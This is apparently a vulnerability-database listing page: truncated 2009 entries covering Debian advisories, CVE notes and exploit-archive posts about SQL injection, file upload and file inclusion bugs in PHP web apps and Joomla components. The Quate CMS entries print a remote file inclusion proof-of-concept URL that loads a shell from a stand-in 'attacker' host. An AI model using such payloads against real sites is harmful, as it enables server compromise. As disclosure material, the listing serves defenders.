Nuke - SQL Injection

Nuke - SQL Injection =-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-= Nuke Remote SQL Injection Vulnerability =-==-==-==-==-==-==-==T==K==R==D==-==-==-==-==-==-==-==-==-==-==-==-= Found: FormatXFormaT contact: [email protected] Forum: Tkurd.com...

[SECURITY] [DSA 1963-1] New unbound packages fix DNSSEC validation

------------------------------------------------------------------------ Debian Security Advisory DSA-1963-1 [email protected] http://www.debian.org/security/ Florian Weimer December 23, 2009 http://www.debian.org/security/faq -...

DEBIAN-CVE-2009-4404

Unspecified vulnerability in t-prot TOFU Protection before 2.8 allows remote attackers to cause a denial of service via unspecified vectors related to the "--maxlines" option and a crafted email message. NOTE: some of these details are obtained from third party information...

Active PHP BookMarks 1.3 - SQL Injection

Active PHP BookMarks 1.3 - SQL Injection Title: Active PHP Bookmarks v1.3 Remote SQL Injection Vulnerability EDB-ID: CVE-ID: OSVDB-ID: Author: Mr.Elgaarh Published: 2009-12-21 ============================================================= Author : Mr.Elgaarh Email : [email protected] Home :...

Active PHP Bookmarks v1.3 SQL Injection Vulnerability

Exploit for unknown platform in category web applications ===================================================== Active PHP Bookmarks v1.3 SQL Injection Vulnerability ===================================================== Title: Active PHP Bookmarks v1.3 Remote SQL Injection Vulnerability EDB-ID:...

PDQ Script 1.0 <== [listingid] SQL Injection

Exploit for unknown platform in category web applications ============================================ PDQ Script 1.0 == listingid SQL Injection ============================================ +===================================================================================+ | | | PDQ Script 1.0 ...

Simplicity oF Upload 1.3.2 - Arbitrary File Upload

Exploit Title: Simplicity oF Upload 1.3.2 Remote File Upload Vulnerability Date: 20-12-2009 Author: Master Mind Software Link: http://www.phpsimplicity.com/scripts.php?id=3 Version: 1.3.2 CVE : N/A Tested on: Windows 2003 Server...

Active Photo Gallery 6.2 SQL Injection

? ?????????????????????????In The Name Of Allah The Mercifull?????????????????????? ? Tybe: Auth Bypass Remote SQL Injection Vulnerability‏ ? Vendor: www.activewebsoftwares.com ? ? Software: Active Photo Gallery v 6.2 ? ? author: R3d-D3v!L ? ? Date: 17.dec.2009 ? T!ME: 10:22 pm ? Home: WwW.xP10.M...

Mozilla crash with evidence of memory corruption

Multiple unspecified vulnerabilities in the browser engine in Mozilla Firefox before 3.0.16 and 3.5.x before 3.5.6, SeaMonkey before 2.0.1, and Thunderbird allow remote attackers to cause a denial of service memory corruption and application crash or possibly execute arbitrary code via unknown...

Article Directory - SQL Injection

Article Directory - SQL Injection ? ?????????????????????????In The Name Of Allah The Mercifull?????????????????????? ? Tybe:Auth Bypass Remote SQL Injection Vulnerability ? Vendor: www.yourarticlesdirectory.com ? ? Software: Article Directory 5cR!P7 ? ? author: R3d D3v!L ? ? Date: 15.12.2009 ? ?...

Savant Web Server Remote Buffer Overflow Vulnerability

A remote buffer-overflow vulnerability affects Savant Web Server. This issue occurs because the application fails to validate the length of user-supplied strings before copying them into finite process buffers. A remote attacker may leverage this issue to execute arbitrary code with the privilege...

Digital Scribe <= 1.4.1 Multiple SQLi Vulnerabilities - Active Check

Digital Scribe is prone to multiple SQL injection SQLi vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C b...

Alqatari group 1.0 5.0 - id SQL Injection

Alqatari group 1.0 5.0 - id SQL Injection 1337h4x0rZ //Rd / / / \ \ ============================================================================== ª Note : Hacker R0x Lamerz Sux ! ============================================================================== ª Alqatari group Version 1.0 == 5.0 id...

Alqatari Group 5.0 SQL Injection

1337h4x0rZ //Rd / / / \ \ ============================================================================== ª Note : Hacker R0x Lamerz Sux ! ============================================================================== ª Alqatari group Version 1.0 == 5.0 id Remote SQL Injection Vulnerability...

Quate CMS <= 0.3.5 (RFI/LFI) Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ============================================================ Quate CMS PoC : http://target/path/admin/includes/header.php?securepagepath=http://attacker/shell.txt??? Vuln LFI : ./QuateCMS035/admin/includes/footer.php line 4 PoC :...

Quate CMS 0.3.5 Local / Remote File Inclusion

Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg Quate CMS PoC : http://target/path/admin/includes/header.php?securepagepath=http://attacker/shell.txt??? Vuln LFI : ./QuateCMS035/admin/includes/footer.php line 4 PoC :...

Joomla Component com_lyftenbloggie Remote SQL injection vulnerability

No description provided by source. Joomla Component comlyftenbloggie Remote SQL injection vulnerability - author Author : kaMtiEz [email protected] Homepage : http://www.indonesiancoder.com Date : November 11, 2009 Software Information + Vendor : http://www.lyften.com/ + Download :...

Joomla! Component com_gcalendar 1.1.2 - &#039;gcid&#039; SQL Injection

\ \ / / / \ / | \ \ / / / \ / | / \ | \ | \ | | | \ | | | | | | | | |/ / \ V / | || | \ V / | - | | | - | | / | | | | | | / | | | | | . | | ' || / | || ||| | ||| ||\ |/ || ||\ || || ||| ||\ | """ ||"""""||"""""|| """...

ISC BIND DNSSEC Query Response Additional Section Remote Cache Poisoning Vulnerability

ISC BIND is prone to a remote cache-poisoning vulnerability. SPDX-FileCopyrightText: 2009 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only CPE = "cpe:/a:isc:bind";...

[SECURITY] [DSA 1938-1] New php-mail packages fix insufficient input sanitising

------------------------------------------------------------------------ Debian Security Advisory DSA-1938-1 [email protected] http://www.debian.org/security/ Steffen Joeris November 23, 2009 http://www.debian.org/security/faq -...